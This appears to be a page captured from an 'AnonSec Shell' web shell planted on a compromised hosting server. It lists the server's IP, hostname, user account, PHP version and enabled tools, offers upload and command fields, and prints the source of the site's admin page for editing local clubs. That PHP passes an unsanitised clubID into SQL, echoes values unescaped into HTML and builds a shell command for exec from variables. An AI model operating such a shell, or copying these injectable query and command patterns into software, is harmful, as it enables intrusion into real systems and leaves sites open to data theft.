AnonSec Shell
Server IP : 149.202.105.228  /  Your IP : 216.73.216.18
Web Server : Apache
System : Linux webm129.cluster030.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : atfycaf ( 116275)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/atfycaf/www/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/atfycaf/www/admin/localClubsEdit.php
<?php
$thisCheckID	= 26;
include "globalVars.php";

include "header.php";
?>

				<h2>Update a Local Club</h2>
<?php

if (isset($_POST["updateClub"])) {

	$clubID			= cleanPost($_POST["clubID"], $conn);
	$clubName		= cleanPost($_POST["clubName"], $conn);
	$clubRep		= cleanPost($_POST["clubRep"], $conn);
	$clubWebsite	= cleanPost($_POST["clubWebsite"], $conn);

	mysqli_query($conn, "UPDATE localClubs SET clubName = '". addslashes($clubName) ."', clubRep = '". addslashes($clubRep) ."', clubWebsite = '$clubWebsite' WHERE id = '$clubID'") or die (mysqli_error($conn));

	$localClubsQuery = mysqli_query($conn, "SELECT pageURL FROM localClubs WHERE id = '$clubID'");
	while ($lCQ = mysqli_fetch_array($localClubsQuery)) {
		$pageURL	= $lCQ["pageURL"];
	}

	$trackMsg	= "The User ". addslashes($adminName) ." &lt;$adminEmail&gt; updated the local club ". addslashes($clubName);

	if (is_uploaded_file($_FILES['clubBadge']['tmp_name'])){
		$fileType	= $_FILES['clubBadge']['type'];
		$fileName	= $_FILES['clubBadge']['name'];
		$fileSize	= $_FILES['clubBadge']['size'];
		$fileTmp	= $_FILES['clubBadge']['tmp_name'];

		$imgUpload	= "$pageURL.png";

		list($width, $height) = @getimagesize($fileTmp);
		$imgRatio	= $width/$height;

		$newHeight	= $badgeHeight;
		$newWidth	= $badgeHeight * $imgRatio;

		$newSize	= $newWidth ."x". $newHeight;

		$newLogoImg	= $SERVER_ROOT ."/images/clubs/$imgUpload";

		exec("/usr/bin/convert -auto-orient -resize $newSize -strip -quality 75 -limit thread 2 $fileTmp $newLogoImg");

		mysqli_query($conn, "UPDATE localClubs SET clubBadge = '$imgUpload' WHERE id = '$clubID'");

		$trackMsg	.= ". A club badge was also uploaded: <a href=\"/images/clubs/$imgUpload\" target=\"_blank\">/images/clubs/$imgUpload</a>";
	}

	$trackDate		= date("Y-m-d H:i:s");
	mysqli_query($conn, "INSERT INTO userActions (dateCreated, adminID, pageTracking, databaseUpdated, updateDetails) VALUES ('$trackDate', '$adminID', 'admin/localClubsEdit.html', 'localClubs', '$trackMsg')");

	echo "<p><strong>Success!</strong> $clubName has been updated.</p>";

} elseif (isset($_POST["getClub"])) {
	$clubID		= $_POST["clubID"];

	$localClubsQuery = mysqli_query($conn, "SELECT * FROM localClubs WHERE id = '$clubID'");
	while ($lCQ = mysqli_fetch_array($localClubsQuery)) {
		$clubName		= $lCQ["clubName"];
		$clubRep	 	= $lCQ["clubRep"];
		$clubWebsite 	= $lCQ["clubWebsite"];
		$clubBadge 		= $lCQ["clubBadge"];
	}
	?>
    <form action="localClubsEdit.html" method="post" id="uploadImgForm" enctype="multipart/form-data">
		<input type="hidden" name="clubID" value="<?php echo $clubID ?>">
		<div class="descStTab">
			<div class="pFormRow">
				<div class="pFormTitle">Club name:</div>
				<div class="pFormInput">
					<input type="text" name="clubName" size="50" value="<?php echo $clubName ?>" required />
					<div class="pFormLabel">
						<label class="labelName">Club name:</label>
					</div>
				</div>
			</div>
			<div class="pFormRow">
				<div class="pFormTitle">Club Representative:</div>
				<div class="pFormInput">
					<input type="text" name="clubRep" size="50" value="<?php echo $clubRep ?>" />
					<div class="pFormLabel">
						<label class="labelName">Club Representative:</label>
					</div>
				</div>
			</div>
			<div class="pFormRow">
				<div class="pFormTitle">Club Website:</div>
				<div class="pFormInput">
					<input type="url" name="clubWebsite" size="50" placeholder="https://www.example.com" value="<?php echo $clubWebsite ?>" />
					<div class="pFormLabel">
						<label class="labelName">Club Website:</label>
					</div>
				</div>
			</div>
		<?php
		if (trim($clubBadge) != "") {
			?>
			<div class="pFormRow">
				<div class="pFormTitle">Existing Club badge:</div>
				<div class="pFormInput" style="text-align:center;">
					<img src="<?php echo $Iurl ?>clubs/<?php echo $clubBadge ?>" height="75">
					<div class="pFormLabel">
						<label class="labelName">Existing Club badge:</label>
					</div>
				</div>
			</div>
			<?php
		}
		?>
			<div class="pFormRow">
				<div class="pFormTitle">Upload a New Club badge:</div>
				<div class="pFormInput">
					<input type="file" name="clubBadge" accept="image/*">
					<div class="pFormLabel">
						<label class="labelName">Upload a New Club badge:</label>
					</div>
				</div>
			</div>
		</div>
		<input type="submit" class="submitButton" id="uploadImgBtn" name="updateClub" value="Update this Club" />
		<div id="imgUploading">
			<img src="images/imageUploading-large.gif" width="128" alt="Uploading" title="Uploading">
		</div>
	</form>
    <?php
} else {
	?>
	<div class="descTab" id="htmlSelectorTab">
	<?php
	$clubQuery = mysqli_query($conn, "SELECT * FROM localClubs ORDER BY clubName ASC") or die (mysqli_error($conn));
	while ($cQ = mysqli_fetch_array($clubQuery)) {
		$clubID		= $cQ["id"];
		$clubName	= $cQ["clubName"];
		?>
		<div class="pFormRow">
			<div class="pFormEditTitle"><?php echo $clubName ?></div>
			<div class="pFormEditButtons">
				<form action="localClubsEdit.html" method="post"><input type="hidden" name="clubID" value="<?php echo $clubID ?>" />
					<input type="submit" class="submitButton" name="getClub" value="Edit This Club">
				</form><br />
				<?php
				if (in_array("27", $adminPriv)) {
					?>
				<form action="localClubsDel.html" method="post"><input type="hidden" name="clubID" value="<?php echo $clubID ?>" />
					<input type="submit" class="deleteButton" name="getClub" value="Delete This Club">
				</form>
					<?php
				}
				?>
			</div>
		</div>
		<?php
	}
	?>
	</div>
	<?php
}
?>

<?php
include "footer.php";
?>

Anon7 - 2022
AnonSec Team